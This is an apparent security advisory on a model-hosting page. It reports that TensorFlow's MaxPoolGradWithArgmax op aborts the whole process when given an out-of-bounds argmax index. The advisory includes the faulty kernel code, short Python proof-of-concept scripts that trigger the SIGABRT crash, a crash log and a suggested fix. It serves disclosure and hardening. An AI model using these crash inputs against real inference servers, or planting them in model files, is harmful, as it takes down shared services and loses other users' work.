You need to agree to share your contact information to access this model

This repository is publicly accessible, but you have to accept the conditions to access its files and content.

Log in or Sign Up to review the conditions and access this model content.

YAML Metadata Warning:empty or missing yaml metadata in repo card

Check out the documentation for more information.

MaxPoolGradWithArgmax: attacker-controlled out-of-bounds argmax index triggers CHECK-fail (LOG(FATAL)) -> SIGABRT process abort / DoS

Summary

tf.raw_ops.MaxPoolGradWithArgmax validates each attacker-supplied flattened argmax index with an unconditional CHECK (i.e. LOG(FATAL)) instead of a graceful OP_REQUIRES / InvalidArgument status. When an argmax value lies outside the valid flattened-input range for its pooling window (e.g. 999999, or a negative value such as -5, against a 16-element input), the CHECK fires and calls abort(), killing the entire hosting process with SIGABRT.

Because argmax is an ordinary graph tensor, its value is fully attacker-controlled. The op is directly callable via tf.raw_ops and can be embedded in a crafted GraphDef / SavedModel; loading and running such a model aborts the process. This is the classic TensorFlow pattern where a bounds check was implemented with CHECK / LOG(FATAL) rather than a graceful error return, converting a memory-safety concern into an unauthenticated process-killing denial-of-service.

Target

  • Component: TensorFlow op-kernel β€” MaxPoolGradWithArgmax
  • File: tensorflow/core/kernels/maxpooling_op.cc (LaunchMaxPoolingGradWithArgmax<Device, T>::launch, ~line 1090)
  • Verified against: PyPI tensorflow==2.21.0 (CPU) on Linux x86-64
  • Op surface: tf.raw_ops.MaxPoolGradWithArgmax (also reachable via any GraphDef/SavedModel containing the MaxPoolGradWithArgmax node)

Root cause

The kernel loops over the incoming gradient elements and, for each, reads the corresponding flattened destination index directly out of the attacker-supplied argmax tensor. It then validates that index against the window's [output_start, output_end) range using a CHECK:

// tensorflow/core/kernels/maxpooling_op.cc  (~line 1090)
auto shard = [&config, &top_diff_flat, &bottom_diff_flat, &mask_flat,
              include_batch_in_index](int64_t start, int64_t limit) {
  // ...
  const int64_t output_start = ...;
  const int64_t output_end   = output_start + ...;
  for (int64_t index = start; index < limit; ++index) {
    int64_t grad_out_index = mask_flat(index);  // <-- attacker-controlled
    if (!include_batch_in_index) {
      grad_out_index += ...;
    }
    // Unconditional CHECK == LOG(FATAL) == abort() on failure:
    CHECK(grad_out_index >= output_start && grad_out_index < output_end)
        << "Invalid output gradient index: " << grad_out_index << ", "
        << output_start << ", " << output_end;
    bottom_diff_flat(grad_out_index) += top_diff_flat(index);
  }
};

A CHECK in TensorFlow expands to LOG(FATAL), which prints the message and a stack trace and then calls abort(). There is no path to return an InvalidArgument Status to the caller β€” the process simply dies. The correct pattern here would be OP_REQUIRES(context, cond, errors::InvalidArgument(...)), which raises a catchable Python exception instead of aborting.

Both an over-large index (999999) and a negative index (-5) fail the check, confirming the missing graceful handling in both directions.

Proof of Concept

Environment: real PyPI tensorflow==2.21.0 in venv /home/kali/tfcheck_test/venv.

Crash PoC β€” mpg_repro.py

import faulthandler, sys
faulthandler.enable()
import tensorflow as tf
print("TF", tf.__version__, flush=True)
out = tf.raw_ops.MaxPoolGradWithArgmax(
    input=tf.ones([1,4,4,1]),
    grad=tf.ones([1,2,2,1]),
    argmax=tf.constant([[[[999999],[0]],[[0],[0]]]], dtype=tf.int64),
    ksize=[1,2,2,1], strides=[1,2,2,1], padding="VALID")
print("NO CRASH", out.shape, flush=True)

Result: process aborts with SIGABRT (rc = 134) before "NO CRASH" prints.

Negative control β€” mpg_neg.py (isolates the fault to the OOB value)

import tensorflow as tf
# same op, all argmax indices IN-BOUNDS (0..15 for a 1x4x4x1 input) -> must succeed cleanly
out = tf.raw_ops.MaxPoolGradWithArgmax(
    input=tf.ones([1,4,4,1]),
    grad=tf.ones([1,2,2,1]),
    argmax=tf.constant([[[[0],[2]],[[8],[10]]]], dtype=tf.int64),
    ksize=[1,2,2,1], strides=[1,2,2,1], padding="VALID")
print("NEG CONTROL OK ->", out.shape.as_list(), "sum", float(tf.reduce_sum(out)))

Result: clean exit rc = 0, output shape [1, 4, 4, 1], sum 4.0. Identical op invocation with only the argmax values changed to in-bounds indices β€” proves the fault is the OOB value, not the op call itself.

Negative-index variant β€” mpg_neg_idx.py (confirms the other direction)

import tensorflow as tf
out = tf.raw_ops.MaxPoolGradWithArgmax(
    input=tf.ones([1,4,4,1]), grad=tf.ones([1,2,2,1]),
    argmax=tf.constant([[[[-5],[0]],[[0],[0]]]], dtype=tf.int64),
    ksize=[1,2,2,1], strides=[1,2,2,1], padding="VALID")
print("OUT", out.shape)

Result: process aborts with SIGABRT (rc = 134) β€” same missing bounds handling for a negative index.

Captured evidence (verbatim, TF 2.21.0)

F0000 00:00:1784214913.645251  399109 maxpooling_op.cc:1090] Check failed: grad_out_index >= output_start && grad_out_index < output_end Invalid output gradient index: 999999, 0, 16
*** Check failure stack trace: ***
    @     0x7f43192ce564  absl::...::LogMessage::SendToLog()
    @     0x7f43053a896d  tensorflow::LaunchMaxPoolingGradWithArgmax<>::launch()::{lambda()#1}::operator()()
    @     0x7f4318f555fd  Eigen::ThreadPoolDevice::parallelFor()
    @     0x7f43053a826f  tensorflow::MaxPoolingGradWithArgmaxOp<>::Compute()
    @     0x7f431818f300  tensorflow::ThreadPoolDevice::Compute()
    @     0x7f4313b78147  tensorflow::EagerOperation::Execute()
    @     0x7f4310a9b395  TFE_Execute
Fatal Python error: Aborted

Return codes: crash rc = 134 (SIGABRT); negative control rc = 0 (clean output shape [1,4,4,1], sum 4.0); negative-index variant rc = 134.

Positive-control note: the fuzz harness that surfaced this distinguishes signal aborts (rc < 0 / 134) from the ~120 other clean InvalidArgument negatives observed across 7 fuzz rounds, so the many hardened negatives are genuine hardening, not harness gaps β€” this op is a real outlier that reaches abort().

Impact

  • Type: Denial of Service (unauthenticated process abort / crash).
  • Vector: Any service that loads and runs an untrusted SavedModel / GraphDef, or that exposes tf.raw_ops / graph execution to attacker input, can be crashed on demand. A single crafted argmax value inside a model file is sufficient β€” no valid data, credentials, or special privileges required.
  • Result: The entire hosting Python/TF process is killed via SIGABRT; any co-hosted work (other model requests, in-memory state) is lost. In multi-tenant or serving contexts (model-hosting platforms, inference servers) this is a reliable remote DoS triggered purely by model content.

Suggested fix

Replace the CHECK with a graceful OP_REQUIRES that returns errors::InvalidArgument(...) so the invalid index raises a catchable status instead of aborting the process β€” matching how the rest of the kernel surface validates untrusted tensor contents.

Dedup / prior-art note

This is the MaxPoolGradWithArgmax variant of TensorFlow's well-known CHECK-fail-as-DoS class (many historical GHSA advisories cover CHECK/LOG(FATAL) reachable from attacker-controlled tensor content across different kernels). No CVE/GHSA specific to an out-of-bounds argmax index in MaxPoolGradWithArgmax's LaunchMaxPoolingGradWithArgmax::launch CHECK at maxpooling_op.cc:~1090 was found for the current tensorflow==2.21.0 release; the bug reproduces on that latest released build. The related forward/other argmax kernels validate bounds gracefully, which is why this specific gradient kernel stands out.

Downloads last month

-

Downloads are not tracked for this model. How to track
Inference Providers NEW
This model isn't deployed by any Inference Provider. πŸ™‹ Ask for provider support